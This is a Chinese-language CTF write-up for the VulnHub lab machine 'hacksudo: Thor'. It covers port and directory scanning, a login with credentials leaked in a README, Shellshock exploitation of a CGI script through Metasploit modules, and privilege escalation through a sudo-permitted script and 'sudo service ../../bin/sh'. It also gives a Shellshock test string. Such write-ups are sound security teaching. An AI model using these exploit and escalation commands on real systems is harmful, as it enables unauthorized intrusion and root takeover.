准备:
攻击机:虚拟机kali、本机win10。
靶机:hacksudo: Thor,下载地址:https://download.vulnhub.com/hacksudo/hacksudo---Thor.zip,下载后直接vbox打开即可。
知识点:service提权、Shellshock漏洞利用。
信息收集:
扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.110.6,显示开放了22、80端口,开启了ssh、http服务。
目录扫描:
使用dirmap进行目录扫描,发现admin_login.php、home.php、README.md、news.php等文件。
访问README.md文件,发现关于账户的信息:admin/password123。
使用获得账户名和密码信息:admin/password123进行登录,在http://192.168.110.6/home.php登录失败,但是在http://192.168.110.6/admin_login.php界面成功登录。
Shellshock-破壳漏洞:
然后在admin账户中创建了新的账户,在http://192.168.110.6/home.php进行登录,但是在两个登陆后的界面中均未发现可以获取shell的功能。然后在news.php中发现了cgi-bin,猜测这里存在破壳漏洞。
使用dirsearch对http://192.168.110.6/cgi-bin/进行扫描,发现shell.sh文件,但是访问该文件无法访问。
使用msf进行验证是否存在破壳漏洞,依次执行如下命令,经过验证发现存在shellshock漏洞。
search Shellshock
use 2
show options
set rhost 192.168.110.6
set TARGETURI /cgi-bin/shell.sh
run
获取shell:
使用msf依次执行以下命令,成功获得shell权限。
search Shellshock
use 1
show options
set rhost 192.168.110.6
set TARGETURI /cgi-bin/shell.sh
run
shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
提权至thor:
查看下当前账户是否存在可以使用的特权命令或文件:sudo -l,发现/home/thor/./hammer.sh文件。
使用thor的用户权限执行脚本该脚本,发现会让我们输入一个key(疑是我们的身份)一个secret(会被执行),在输入bash时形成了一个新的shell窗口,权限是thor。
获得thor权限后,在/home/thor目录下发现user.txt文件并读取该文件信息,成功获得flag值。
提权至root:
查看下当前账户是否存在可以使用的特权命令或文件:sudo -l,发现cat和service命令。
查找下service命令的提权方式,得到其提权命令:sudo service ../../bin/sh,成功提权到root权限并在/root目录下发现root.txt文件并读取到flag值。
补充:
如果我们可以正常使用目标服务器时,也可以通过以下命令:env x='() { :;}; echo vulnerable' bash -c "echo this is a test ",来进行测试是否存在Shellshock漏洞,下面是存在此漏洞和不存在此漏洞的对比图,左侧无此漏洞,右侧存在此漏洞。